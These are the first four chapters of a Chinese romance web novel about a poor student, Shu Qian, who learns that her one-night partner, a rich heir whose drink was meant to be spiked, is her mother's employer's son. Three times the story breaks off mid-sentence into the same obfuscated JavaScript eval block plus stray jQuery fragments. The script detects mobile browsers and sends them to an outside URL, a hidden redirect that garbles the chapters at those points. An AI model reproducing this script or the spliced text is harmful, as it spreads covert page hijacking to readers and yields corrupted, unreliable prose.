《躲匿[先孕]》
1. 第 1 章
十月初,天气格外宜人。明媚的阳光如同细碎的金粉,为大地镀上一层光辉。
清晨的气息依旧存在,无形中为奢靡的别墅平添几分慵懒与惬意。
就在此刻,一道轻盈身影打破这场宁静。
舒浅身着单薄且廉价的衣物,轻车熟路地将自行车停靠在别墅后门庞,随后去敲门。
等待的间隙,舒浅脑海中回忆起门卫因为对她熟悉,而破天荒免去她繁琐登记情景时,不自觉轻巧一笑。
她是个性格温和,极其怕麻烦和冲突的人。哪怕是一点点小事,也足以让她心生烦恼,影响一整天的心情。
“吱扭”一声,李妈缓慢打开别墅后门,扬起一阵风,轻轻吹动着舒浅额前那细软的小绒毛。
“小浅来了啊。”她亲切地说,要拉着舒浅进来,“你妈妈在为太太准备中午饭呢,你先去保姆房里带会?”
“不了。”
舒浅被李妈这一自来熟举动弄的稍稍不自然,却还是勾着嘴角上扬。
“还是按照之前那样吧,我帮我妈干点事。”
舒浅说完,头也没回的去折桌上豆角。
而李妈的目光却在她的脸颊上停留。
舒浅拥有一双清澈如水的小鹿眼和一张水嫩灵秀的小脸蛋。如果不是吃的过少,严重营养不足致使身材干瘪,美貌程度估计能上升一个度。
不过这也不难理解,毕竟,她的妈妈是个哑巴,平日里为了治病,需要耗费大量金钱购买药物,哪里有多余的闲钱来为舒浅提供更好的生活条件呢?
只是可惜这个懂事的小女孩,年纪轻轻就出来打工,闲暇时间还来母亲工作地点打点,任劳任怨。
如此这般,李妈的眼神里又留露出于心不忍,很想为舒浅谋条出路。
她忽而走到舒浅旁边,拍了拍她的肩膀,带着期待地问,“小浅,你在学校……那个有没有交朋友啊?”
舒浅不知道是被突如其来的力道吓到,还是被李妈这个问题问到,反正脸涨的通红,支支吾吾地开口,“没有……”
她根本不想再进行这个话题,没想到对方据理不饶人:“那你以后有没有这个打算?”
李妈是想把她隔壁那小伙子介绍给舒浅。小伙子长的老老实实,工资也可以,就是平日里有点腼腆。
快三十岁的人,连女孩手都没拉过。
前几天,找到李妈,红着脸问她能不能给他找个女朋友,要乖巧可爱那种类型。
李妈一看,这不对上了吗?
俩个人搀扶着,也好过一个人自力更生的强。
况舒浅不是马上要毕业了嘛,也该到了谈婚论嫁的年纪。在她们那个村,这个年纪都带俩娃了。
没想到舒浅摇了下头,吞吞呜呜,“没有……”
她将手里的塑料框一拿,像是躲避似的,“李妈,我先去把豆角给我妈了。”
紧接着,小步慢跑离开这一是非之地。
往前走了片刻,是临近厨房的一个小拐角,再往前走就可以看见母亲的身影,可舒浅却鬼使神差的停住脚步,整个人顿在那。
怎么又想到那件事了?
她皱起眉头,手指握拢,轻轻地敲了敲脑袋,想抑制大脑不合时宜的发散,却无济于事。
那些暧昧因子如同轻盈的蝴蝶,翩翩起舞于她的脑神经之间,奋力往里钻。
记忆在此刻纷至沓来。
是的,在一个星期前,她跟一个男人睡了一觉,并且没有用任何安全措施。
虽然事后她去买了紧急避孕药,但是那份难以言喻的紧张感根本挥之不去。
她在别人口中曾听闻过那个男人的身份,沈家大少爷,出手阔拓,年纪轻轻,就名列全球金融影响力榜单前位,登过不少杂志封面,和她的身份天壤之别。
如果不是为了那十万块钱,舒浅根本不会招惹他。
可是,话又回到可是……
她明明看着他喝下那杯酒水,怎么中招的会是自己?她实在百思不得其解。
舒浅再次叹了口气,强行将自己从这段思绪中剥离出来。
她只知道,她得在妈妈面前装作若无其事,这样才不会让妈妈心生忧愁。
她在这家当保姆,拉扯她长大,已经很不容易了。
好不容易通过手艺找到这份工作,舒浅也是由衷的为她高兴。
……
进去的时候,陈素英正在颠勺。
炉火照射在她的脸颊上,显的眼神专注而炽热。
她还没有注意到舒浅的到来,舒浅也不想打扰她工作,只将豆角放下,准备悄然离去。
耳边忽而响起一道金属敲击的声音,舒浅听见声音,下意识回头看去。只见陈素英正好完成菜肴的烹饪,将佳肴从锅中倒出。
在看见舒浅的存在后,陈素英的喉咙轻微颤抖着,似乎想要说些什么,却只能发出几声低哑模糊的声音。
失落感一闪而过,陈素英微微动了下手指,示意舒浅将其放到恒温箱内,舒浅乖巧的点了点头。
重新回到厨房的时候,发现厨房里面竟多了个人。
背着她,穿着丝绸面料的睡衣,修长的指甲轻轻的挠了挠布偶猫的脑袋,带动袖口摇曳,如同夜晚的光。
应该是这栋别墅的女主人——
唐太太。
唐太太还在说话中,“陈阿姨,前几天叫你烧素菜是因为我要减肥,今天我儿子临时给我打电话,说他要回来,你快去准备一下。”
她拿出一个清单,“这些都是我儿子爱吃的,哦,对,一定要记住那些不爱吃的,芹菜啊,香菇啊,是一点不能沾的,这孩子从小嘴就挑,活这么大,也真是难为他了。”
话说完,她准备耷拉着拖鞋离开,正巧撞见舒浅的身影。
“哦,你就是陈阿姨的女儿?长的还蛮漂亮的嘛。”
在她这个地位,用不着恭维人,夸人都是径直的。
舒浅微微抿了下唇,摇了下头,觉得有几分不妥,随后又点了点头。
唐太太被她这副样子逗笑了,看了眼她水汪汪的眼睛,突然问,“你多少岁?”
“二十一。”舒浅小心翼翼地回答。
“二十一。”她喃喃,“那和我儿子差不多大嘛,他今天回来,你们兴许能成为朋友呢。”
舒浅知道唐太太只是无心之举,也许是消磨下时间,随便打趣下。她并未当真,只是顺着她的话,嗯了几声。
等到唐太太离开厨房,舒浅连忙上前来到陈素英身后,为她捏起肩膀。
这是她在选修课上学的技能,早就想大显身手,在陈素英身上用用了。
她的手指一压一按,每一次都恰当好处,力度适中。陈素英则背对着她,用手语和她对话,【最近学习怎么样?】
“还行,我觉得自己可以得奖学金。”
陈素英欣慰的笑,【我们家小浅真是越来越厉害了。】
说完话,她似是在斟酌中,比手语的手指突然停顿在空中数五秒,回了个头,让舒浅按摩的手指落了个空。
【你是不是又背着我给我买药了?】
陈素英的眼神里含着一丝质问,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564725|155598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
让舒浅的手指轻微打颤。
她最终抿了抿唇,没说话。
陈素英见她这样,将眼睛垂了下来,自暴自弃地叹了口气,【我说了,不要给我买药,那药很贵。有了钱,留着给自己吃点好的,你跟着我已经很吃苦了。】
舒浅咬了下嘴唇,眼神迟疑涣散,却并不认同陈素英这番话。
陈素英失去发声的能力,完全是后天因素造成,医生说过,通过服用一些营养神经的药物进行调养,未来是有说话的可能。
既然有可能,为什么不试一试呢?
舒浅是这么想,但陈素英却因为药品的昂贵,和舒浅在此观点上达成分歧。
思考片刻后,舒浅准备张嘴陈述自己的观点。
突然间,一股难以名状的恶心感如潮水般涌来,猛烈冲击她的胃部,俯身干呕起来。
陈素英连忙上前,轻轻拍着她的脊背,手指询问,【怎么了?】
舒浅努力挤出一丝微笑,声音有点沙哑,“没事,可能是着凉了吧。”
她不想让陈素英担心,更不想让她知道,自己从昨天到现在,一顿饭也没有吃。
缓了片刻,舒浅从厨房走出,在保姆房为自己倒了一杯温开水。
小口抿着,胃里的不适感已经缓解不少,可那份饥饿感依旧如影随形的存在。
舒浅轻微的舔了舔唇,盯着口袋看去,眼神闪现出对食物的渴望。
前不久,不知道从哪个角落里顺的面包还藏在里面,显现出塑料袋的齿轮线。
虽然知道手脚不干净这个举动不太妥当,可她实在太饿了。
舒浅在心里为自己辩解,这个面包对于唐太太家来说,不算什么的。
犹豫抉择中,舒浅的饥饿最终战胜理智,她颤抖着双手,缓慢撕开塑料袋,面包的香味瞬间扑面而来。
她不敢狼吞虎咽,小口咀嚼着,感受着淀粉被充分消化,品味着麦芽糖的甜。脑袋愉悦的摇摆着,想着看看窗外的风景,和着食物一起轻松的咽进肚子里。
门口出现一辆黑色越野车,她不清楚型号,但因为好奇,颈部往前伸了下。
从车里走出几个人,为首的男人身着得体黑色衬衫,身姿挺拔,持单手解开胸前最顶端的扣子,随意敞开着。
被窗户上的花盆遮挡住视线,舒浅没太看清脸庞,她小嘴鼓动着,好奇的想,那想必就是唐太太刚口中所说的儿子吧。
命可真好。
只侧了下头,说了些什么,身后司机便一脸毕恭毕敬的将那辆车开走,消失不见。
沈和易正往前走,似是觉得在家不用这么正经,双指微拢,碾上袖口上的白扣,青涩的纹理向里蜿蜒,她忽而呼吸紧促,眼神聚紧。
仿佛是某种微妙的念头闪过,沈和易突然抬眼。
目光像是穿透了空间的界限。
幸舒浅反应迅速,几乎在同时,她的目光慌乱离开,身体也不自觉的紧紧贴着墙壁。
一墙之隔,他随性慵懒的向前行走,享受着唐太太亲切的问候,和佣人们的爱戴。
而她背靠逼仄的墙角,嘴里咬着掰成几瓣吃的面包,孤独的享受凌乱。
随着内心的慌乱加剧,她的身体似乎失去平衡,逐渐下陷。
舒浅怎么能想到。
那个沈家大少爷,竟然是唐太太的儿子,妈妈工作地点的雇主,以及,她的一夜情对象。
一股反胃感瞬间充涌上来,舒浅拧着吃剩的面包,重新塞进口袋里。
门外,响起李妈的声音,“小浅,你要不要出来见见大少爷?”
2. 第 2 章
沈和易在听见李妈说话时微微侧了下头,目光在紧闭的房门上打转了下,满不在乎的将视线收回,漫不经心地开口:“有人在里面?”
未等唐太太开口,李妈赔笑般的先说,“刚太太不是说你们年龄相仿,可以成为朋友,我这不就想着先……”
李妈以为舒浅会因为叫到名字而立马出来,现在可好,她整个人僵硬的站在那。前也不是,退也不是。
兴许是舒浅没听见呢。
正当李妈准备抬下手,扣响门扉时,沈和易已经转身离开,甚至于连李妈刚才说了些什么都已经忘却。
他压根不会把这些小人物所说的话放心上。
他沈和易是什么人,华尔街知名富商,几秒钟就有百万资产流入流出,哪里有时间听一个佣人说这么多话。
无形之中,他已经将李妈列为他的黑名单对象。
旁边的唐璐朝还在拉着他嘘寒问暖,一口一个宝贝儿子叫着。
他虽脑袋不在上面,却还是敷衍的应答,顺带着抚摸了唐璐朝怀里的波斯猫,逗的它喵喵直叫,舔他的手指。
没有任何人不喜欢他,就连猫,也是如此。
知道母亲接下来还要念叨些他不喜欢的话题,沈和易先发制人的开口,“刚从法国给你带了点Birkin,那个白的,你上次不是说有个角磨坏了吗?”
话题果真由着他掌控的方向进行。
唐璐朝激动的眨了下眼,一溜烟将怀里的波斯猫扔入他的怀中,耷拉着拖鞋,迫不及待的在门口等待着。
沈和易没回头,轻轻托举小猫的臀,进入自己的房间,前后花费不过一分钟。
正巧此刻,手机铃声响起。
他很熟练的将猫放在桌上,修长的轻轻搭在桌面边缘,身体以一种慵懒的姿势斜靠着,低头看了眼手机,径直滑了过去。
赵持的声音瞬间从屏幕里冒了出来。
“hi darling,在干嘛?原定计划是十天前回国,结果你从洛杉矶临时周转飞机,去了法国。说,你是不是想躲晴瑶?”
赵持是他从小玩到大,唯一算得上的朋友,平日在事业上一人唱黑脸,一人唱白脸,以巧妙的“游击战术”,收敛下不小的资产。
至于晴瑶,沈和易微微皱了下眉头,没拐弯抹角的表达厌恶,“你就非得用你那称呼小蜜的称呼来恶心我一下?”
赵持呵呵的笑,打着圆场,“其实晴瑶长的是挺不错的,又是高材生,也没跟我过。我也是前不久才知道她接近我是为了你,也怪我心粗,没预料到咱沈小少爷气质这么出众。”
他耳朵在听,旁边的波斯猫发现被冷落,凑着毛绒脑袋蹭着他的手背,沈和易轻轻的低了下头。
赵持丝毫没感觉到冷场,依旧滔滔不绝,“所以后来呢?后来你人去哪了?我看晴瑶那失魂落魄的样子也是没成,不过那杯酒倒是见底了。”
沈和易听出来他八卦后的言外之意,直言了当开口,“你在为晴瑶求情?”
还特地强调酒的状态,也就意味着赵持查到点内幕。沈和易不傻,冥冥之中猜到点什么,眼神淡淡。
怪不得那傻里傻气的小姑娘非要趴在他怀里索要亲亲,他本不想搭理她,结果被她垫脚凑了上来,连带着他大脑都有点糊涂。
甚至于到现在都不知道她是谁。
“也不是求情吧。”赵持继续说,“是觉得晴瑶也是一往情深,没睡到也就没睡到,那酒你也没喝,各自退一步,海阔天空。”
后面着重强调了下,“你看你也生龙活虎的,没少块肉。不像我那远方三舅被人搞了,十个月后出来十几个带娃的妈。”
“你说想爬上我们床的女人要么就是图财,要么就是图色。不过晴瑶真的就只是图色,她长的单纯,这点我还是可以保证的。”
也不知道是那句话勾起沈和易的神经,他点开余额资金,股票债券,钱太多了,记不得原有资产多少。
只将转账记录打开,除却熟悉的,没有不熟悉的汇款人。
不信邪,将一张一张卡拿出,依照着记忆,发现没少一张。
不过他倒宁愿少一张。
这样也好过十几个娃叫爹的好。
头疼,他将卡摔在桌子上,这么想。
动静吓了桌上的波斯猫一跳,它抬眼,尾音拖长,拉了好黏的一声,他好像在哪儿听过。
与此同时,赵持还在说话:“真的,这件事归根到底是兄弟的不是,你说金银珠宝你也不缺,要不给你找点女人,女人行不行?”
又一声猫叫,盖住了赵持说的话。
被它吸引,沈和易大脑逐渐失空,盯着它的眼睛看去。
黄黄的如同琥珀,湛蓝的如同天空,不夹杂任何杂质,就这么静静的对视。
记忆中里好像也有这双眼睛,不过比它的要红,凝滞的眼神里偶尔失焦,声音带着点哽咽的拖腔。
不连贯,但可以说,很好听。
真是糟糕。
他猛然伸出手,盖住猫的双眼,冷声沉道,“别叫了。”
——
舒浅在房间里呆了很久也不敢出声。
前不久,她依稀捕捉到李妈那低声细语,模糊讨论她的声音。随后,就是上楼的脚步声。最后,就是拖鞋与瓷砖相撞的节奏,以及,收到包包而洋溢着的雀跃之情。
虽然屋内静悄悄的,但舒浅对于门外发生的事,了如指掌。
她猜测着,沈和易不在大厅。
可恐惧趋势着她依旧不敢朝门外踏去。
伴随着的恶心感涌了上来,舒浅觉得自己不能再为了省钱而少吃一顿饭。
她迫切需要去吃一碗素面。
想到这,她不争气的咽了下口水,手指也已经握住门把手,向下拧,便是“命悬一线”。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564726|155598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
不过让舒浅出乎意料的是,门口静悄悄的,没有一个人影。
这也难怪,她位于保姆房,偏于别墅一角,除了休息时间,几乎难有人流涌动。
亏她还花了大量时间给自己做了思想工作,结果发现,一切都是她的主观臆断。说不定沈家大少爷都已经忘却她的容貌,毕竟他身边的漂亮女人数不胜数。
想到这,她突然开始落寞。
虽说二十一世纪对于女性的贞操已经没那么重要,但对于第一次给了没有感情基础的男人,她还是有点想哭。
大白天亮堂堂的。
可舒浅还是一步三探头,跟小偷似的。
拐角口,迎面一个身影就要撞上来,吓了她一大跳,下意识转身,听见熟悉的声音,是李妈。
她开口,“唉,小浅,你出来啦?你妈妈刚给我写了一张纸条,说你着凉了,问我能不能给你冲一杯姜汤,这不,我就端过来了。”
李妈虽然平日里嘴巴碎点,但是人还是善良的。
舒浅闻到姜的味道,从心底衍生出一丝抗拒,却被李妈的手指硬生生握住,将纸杯不由分说地传了过来。
在她期待的目光下,舒浅不想扫她的兴,于是屏住呼吸,一口气喝了个精光。
“好孩子,喝完就热了。”李妈笑意盈盈的接过纸杯。
姜汤刚入胃部,舒浅便感到味蕾上传来一股难以言说的怪异感。她连忙找到最近的一个垃圾桶,俯身干呕起来。
在大厅的唐太太正挎着包包于手臂下方拍照,毫不隐晦的发了个朋友圈:儿子送的。
听见动静,连忙起身,询问着,“怎么了?”
李妈回,“这孩子刚喝了点姜汤,估计喝不惯那个味,有点反胃。”
“哦。”她还以为是谁怀孕了呢。
唐璐朝很吃舒浅的长相,莫名对她很亲切,连忙说,“那快去倒杯水给这孩子压压,以后别喝姜汤,喝我房间里的那些口服液。”
舒浅的手指握紧垃圾桶边沿,知道价格,用着仅存的力气,摇了摇头。
沈和易正准备将波斯猫还给他妈,省的又带他回忆起不好的画面。
赵持还在因为沈和易刚才凶他事情而耿耿于怀,“你居然说别叫了?我是狗吗?”
“你这样就挺像狗。”沈和易随便应答,从楼上,视线漫不经心的掠过楼下。
不知道因为什么事而喧嚣起来。
一背影纤细女生在干呕,没见过,或许是刚谁口中谁女儿。因为身体微微颤抖,口袋里装着的半个面包正一点一点从缝隙滑落出来,格外引人注目。
如果是寻常牌子的面包倒也罢了。
可那是前不久有人给他寄的小众品牌,还没上市,极其稀有。
他将猫放在楼梯上,让它自己下去,无奈轻蔑的笑。
这点东西都偷。
这辈子也就这样了。
3. 第 3 章
舒浅经过一番思量,终是觉得贸然离去不太妥当。她准备先耐心等候,直到李妈为她端来温开水抵达手中。
将胃里一些酸水吐出,精神状态恢复不少,她准备起身,期间唐璐朝一直在和她对话。
“怎么突然喝起姜汤,是身体不舒服,感冒了吗?”唐璐朝关切的开口,同时目光落在她单薄的衣服上,语气满是担忧,“那你可得好好注意了,以后不能穿这么少的衣服。”
注意到舒浅的行走路径,突然话锋一转 “你是要出门吗?这样吧,我叫我儿子去我房间给你拿几套衣服来穿。”
不明白是哪句话触碰到舒浅的神经,唐璐朝总觉得舒浅神情突然恐慌的厉害。她双手挥舞,言语变得语无伦次,表现出极度的抗拒。
她只认为是舒浅担心衣服的价格,连忙解释,“没事,都是些过时的衣服,放着也是放着。”
就在舒浅觉得自己难以脱身之际,一声猫叫如同天降救星,将唐璐朝的注意力瞬间转移。
她望着那雪白的猫毛,不由自主地弯下腰,将小猫温柔地抱在怀中,轻抚着它顺滑的毛发,就像是在对小孩子说话一样:“怎么一个人跑出来,不找哥哥玩?”
话音刚落,李妈恰好端着一杯温开水从厨房走出,就在对接之时,猝不及防抬了下眼,看见一只手撑在二楼栏杆上的沈和易,言语惊喜,“大少爷居然在楼上呢!”
仿若一道惊雷,让舒浅的脊背瞬间紧绷,手指也不由自主的颤抖起来。
不过这些在李妈眼中解读出了另外一种意思,她连忙拉住舒浅的手指,温柔的责备:“好孩子,怎么都冻成这样了。”
唐璐朝见状,也将眼睑抬起,注意到舒浅越发难看的面色。随后望了眼楼上的沈和易,手指比划着,示意他看手机。
沈和易还在通话中,相撞的视线下,顺势将耳边的手机平放在胸前,看见唐璐朝发来让他拿衣服信息的同时,视线不自觉地在地上面包停留片刻。
随后冷笑一声。
直接了当打字拒绝:【你旁边不是有个爱管闲事的吗?】
只要他妈开口,旁边那中年女人的表情一定会展现出趋之若鹜。如此简单的事情连佣人都可以完成,居然要他亲自去做,这简直是一种侮辱!
他就不该出房间,也不该撞见这场偷窃行为。
又一声冷笑,被电话那头的赵持察觉,“你这是怎么了?在看冷笑话?你也先别看这些笑话了,赶紧回你兄弟的话,怎么赔罪,到底需不需要女人?”
他本想说声不需要结束这场话题,可鬼使神差的想到她那双氤氲着红温的双眼,泛着迷离,让他心底溢漾出不同的情绪,但身下的力度倒也没几分同情。
是有些狠,他还想第二天起床检查一下,没想到睁开眼就了无人影。连带着前不久赵持所说,沈和易确实将那女人归为诈骗犯。
可诈骗犯又怎样,他沈和易有的是钱,被骗点又怎样?
他只是不想有个小孩。
在他看来,小孩就是累赘,也是自私的个体。寄生在母体身上,让其大脑产生母爱情绪,从而保障自己的顺利成长。
当然,不可否认的是,他也是靠这种方法生存下来。
所以,在赵持问出那番话的时候他沉默了一秒钟,鬼使神差的说了句,“需要。”
赵持瞬间兴奋起来,“高的矮的,胖的瘦的?”
沈和易在自己的大脑中搜索痕迹:“中等个子,165,很瘦。眼睛很好看,很圆。”他眯了眯眼睛,“就像一只猫。”
楼下。
唐璐朝看见信息后撇了撇嘴巴,对李妈说道,“我这儿子是叫不动,李妈,你去带着舒浅去我的左侧衣柜挑选件衣服吧,我的包包照片还没有拍完呢。”
李妈听到这话,立马来了精神,紧紧拉着舒浅的手肘,害的她差点摔倒。
为防止手中玻璃杯掉落,她左腿往后一撑,身体微微倾斜,碎发扑打在她惊慌的脸庞。
一闪而过的瞬间被他捕捉到。
恰巧此刻,他微凉的嗓音落地。
赵持刚想回复着,就听见沈和易慵懒的话锋一转:“不需要了。”
“为什么?”赵持实在不解。
“因为。”
对面的声音停顿着。
在赵持看不见的地方,他修长的手指轻轻搭在扶梯上,看她垂下的根根发丝,以及微微颤抖的手指,用一种居高临下的散漫音说道——
“猫已经找到了。”
—
舒浅跟随李妈的步伐来到衣帽间,从挑选衣服到穿上只用了十几秒。
期间她尽可能的低着头,如同做贼心虚一般。
前不久,大少爷三个字还在她的心中牢牢印刻着,每走一步都有碰到的风险,她感到自己已经丧失了呼吸自主权。
唯一所做的,只能离开。
尽可能的离开……
唐太太所买的衣物都是高定面料,保暖效果很好,一瞬间,舒浅感到全身上下被温暖包裹。
路过一面镜子,她悄无声息的抬了下眼睛。
面料已经触碰到脖颈处却不感到扎人。
仅仅只是一件衣物就可宣誓两个人之间地位,如同天壤之别。
舒浅咬了咬唇角,叹了口气,将目光浅浅的收回,垂下眼睛。
在临近后门处,舒浅在对李妈挥手告别。
她还未曾跟母亲说明离开理由,只能让李妈转告:学校有事,需要临时回去一趟。
李妈拍着她的肩膀:“放心吧,小浅,我肯定会跟你妈说的。”
舒浅内敛的笑笑,盯着她慈祥的眼睛看去,突然也觉得她的触碰没那么反感。
可舒缓的氛围只持续了几秒钟,李妈还幻想着自己是个红线仙,掏出手机,开始在最后的时间给舒浅介绍那个老实小伙。
“人不错,身高180,就是嘴巴有点笨。”李妈突然对舒浅挑挑眉,“这样的男人才好。”
舒浅没听懂李妈要说什么,一时间愣住。
李妈以为舒浅想听,坏笑,“一切不在言语中,疼老婆的嘞。”
舒浅哪里听得了这种话,传到耳畔处,耳蜗都跟着发热。
她连忙拽拽衣角,也不敢再敢和李妈的视线相撞,只说了句,“下次再说。”随后转头离去。
一声低层散漫的“舒浅”二字,将她的脚步拉了回来。
映入眼帘的是他阔拓的裤脚。
恍惚间想到些什么,脊背如同被千斤重的秤砣压着,舒浅下意识手指缩紧,感受着时间的缓慢迁移。
在这段时间里,沈和易一直在打量她。
燥热的耳朵越发红润,就让他想到了那天。一丝.不.挂的身体上处处是红印,手指堪堪而握的细腰,瘦的可怜。一举就能抬到桌子上,手指抵在小腹,微微
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14564727|155598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
浮动着。
小猫,又像小狗,简直乖到极点。
舒浅二字经过他的缓慢咀嚼变了味,触发了一道暧昧的枷锁。
沈和易正往前靠,舒浅看不见他的脸,只能感受到浮动的风,以及,若隐若现的古龙水气息将她包裹。
最深底的心愈来愈快的跳动着。
临界值,她想开口,却忽然发现嗓音已哑。
沈和易的声音先她一步发声:“舒浅,东西掉了。”
半包没吃完的面包塞进她的口袋。
舒浅脸部通红,再也无法装作熟视无睹,小脸鼓动着,怯生生地抬了下眼睛,看见他俊美的容颜含笑,和那天床上的他判若两人。
“舒浅。”
他还在叫她的名。
“别误会,这名字是我妈跟我说的。”
……
唐璐朝拍好照片正好看见舒浅落荒而逃的一幕。
还真别说,小骨架子穿衣服就是好看。
随便一披,都有种慵懒随性的感觉。
她走到沈和易旁边,疑惑地问,“你欺负人家了?”
“我像是欺负人的吗?”
沈和易这层反问让唐璐朝哑了声。
她自己的儿子她还不清楚嘛,出门在外有礼貌的不行。从小就开始投身金融行业。
虽然她并不是望子成龙的母亲,只想着安稳过一辈子。但她不能否定的说,他确实做到了别人家口中的孩子。
不然身为一个私生子,也不可能获邀家族盛宴,跟他亲生父亲共坐一桌。
温和,斯文,雅致,是他的代名词。
即使前不久她这样怀疑他,他也不曾表露一分怒态,浅浅含笑。
唐璐朝摇头:“那倒确实不像。”
她嘀咕,“兴许是那小姑娘比较害羞。”
李妈在旁边听,抢先回答,“是因为前不久大少爷叫了她的名,并把半块面包塞在她口袋里。”
沈和易闻言,悄无声息的瞪了李妈一眼。
瞬时间,一种恐慌感涌现心底,李妈不自觉生出冷汗。再一抬眼,发现他嘴角依旧挂着浅笑,好似她刚才眼花了。
可惊慌感于周遭消散不去。
李妈只能将嘴角抿紧。
“半块面包?”唐璐朝眉头皱皱,“我有说过她叫舒浅吗?”
“说过啊,可能忘了。”他语气散漫,很笃定,很有说服力。
唐璐朝眼睛眨了下,“是吗?”
“是啊。”沈和易拉着唐璐朝离开,“那个brikin你还喜欢吗?”
“喜欢啊。”唐璐朝跟他走到客厅,“那些富太太可羡慕我了,说我有个好儿子呢。唉,听说那包有钱还买不到呢,你怎么买到的?”
沈和易没正面回答,只说,“动了点关系,剩下的就别问了。”
唐璐朝讷讷点头,反正她根本不想参与男人之间的斗争。
有个爱她的好儿子,和有时间来看他一下的老公,每天过着衣食无忧的生活,她已经很满足了。
波斯猫看见两人,从沙发上跳到唐璐朝的怀里,她低声唤它的名,“Kiki。”
沈和易扫了眼,“以后别叫kiki来我房间了。”
“为什么?”
在唐璐朝问的瞬间,沈和易看了眼kiki的眼睛,视线从它的身上绕了回来,以一种平淡口吻说道:“猫毛过敏。”
4. 第 4 章
舒浅从别墅出来之时已经满脸通红,将手指用力按了按耳垂想缓解几分,却发现无济于事。
半包吃剩的面包还躺在价值不菲的外套里,她只偷瞄了一眼,脸又红的吓人。
虽说面包的价格应该在其承受范围之内,几天勤学检工还是能还的起。但一想到自己从刚才在垃圾桶旁呕吐,再到面包从口袋里“溜”出,一言一行都在他眼中掌控着,她的心中便瞬间涌现出无与伦比的窘迫。
根本没脸再见到他,再见到唐太太。
她手指捋了捋风衣的一角,眉头皱的深邃。
也不记得自己是什么时候绕到后门处,骑上自己的自行车。
只记得不想浪费下午剩余的时间,对kfc领事班干申请了增加排班。
吃着kfc配备的员工餐,肚子得到了满足,身体却依旧感受沉重。嘴口一张,咬到了松软的面包,忽而想到口袋余留的半块。
有人在旁边拍了下舒浅的肩膀,她被吓到,睫毛一颤。
陈讯在对她道歉:“不好意思,不是故意的。只是提醒下你外面下雨了,店里的伞提前被她们预订了。”
舒浅抬眼看窗外,只见玻璃上已经凝结出一层薄薄的水珠,宛如细密的珍珠。
回神的时候,看见陈讯不好意思地挠了挠脑袋,讪讪开口,“如果你不介意的话,我可以把你送到学校。”
学校离这六公里,走的快可以赶上末班车。如果是打车的话,价钱不知道比坐地铁贵多少。
她不想欠陈讯的人情,稍作思索,婉言谢绝了陈讯的好意,“到地铁口就好,谢谢陈班。”
……
时间匆匆流逝,临近店铺打烊时间,舒浅有条不紊收拾好自己的物品,出门的瞬间,看见陈讯早已在门口等待。
她小跑过去,陈讯将伞面撑开,两人并排往前走,舒浅小声说了声谢谢。
“真的不用送你回学校吗?”
陈讯听着雨滴打在伞上那噼里啪啦的声音,面露忧愁。
很快被舒浅否决。
她摇头,“不用,地铁口就好,室友会来接我……”
陈讯被拒绝,也不想强人所难,点了点头。
气氛回归沉默,只能听见脚步趟在雨水所发出的声音。
舒浅很想主动开口打破沉默,但遗憾的是,她并没有这种能力。
又往前走了几步,陈讯突然想到些什么,张嘴,“你最近是惹到些什么吗?怎么前几天有几个人在找你。”
舒浅蓦然腿脚一颤,险些从伞面走出,被他拉了下胳膊。
她连忙说了声谢谢,只道没有。
随后又低头问了几句:“你有说了些什么吗?”
“没有。”陈讯答,“我以为她们是来找事的,所以没说你在这。”
“嗯。”舒浅回,抬眼看了眼地铁口,招了招手,“我到了。”
—
虽说陈讯没指名道姓描述那些人的特征,但舒浅冥冥之中于心底已经猜出个一二。
选择个靠边的椅子坐下。
末班车,缓缓带动她疲惫的身体前行。
思绪仿佛穿梭在时间的空隙中,回到了两个星期前。
晴瑶在学校内的备餐区找到她,递交给她一个粉末状的东西,并告诉她沈和易即将回国,她准备举办一个party来庆祝他回国。
现在万事俱备,只欠一些服务人员,询问舒浅有没有时间来参加一下。
工作内容并不繁琐,只需将宾客喝完的酒杯及时收走,且工资非常可观,一天两百。
她说到这,舒浅已经洋溢着心动的情绪。
后面的话更是让舒浅一惊。
晴瑶指了指粉末状的东西,声音明显压低了几分,说什么只要将那个东西放到沈和易的酒杯中,事成之后会给她十万元。
舒浅当时就愣住了。
虽然她知道晴瑶的身份是不缺钱的那种,平日里穿着也是名牌,所以这十万元对她而言只是九牛一毛。
但她还是犹豫了。
因为她并不清楚这粉末到底是何物,也不想卷入任何违法和不道德的事情中。
晴瑶像是看穿她的顾虑,拉着她的手,用饱含深情的目光看着她,“好妹妹,你就帮帮我。我真的不忍心看见沈和易因为喝多酒而难受。你也知道,他身处那个地位,很多事情都是身不由己的。这本质上是个派对,实际上是我为他拉投资的工具,我不想他因为身体不适而错失良机。”
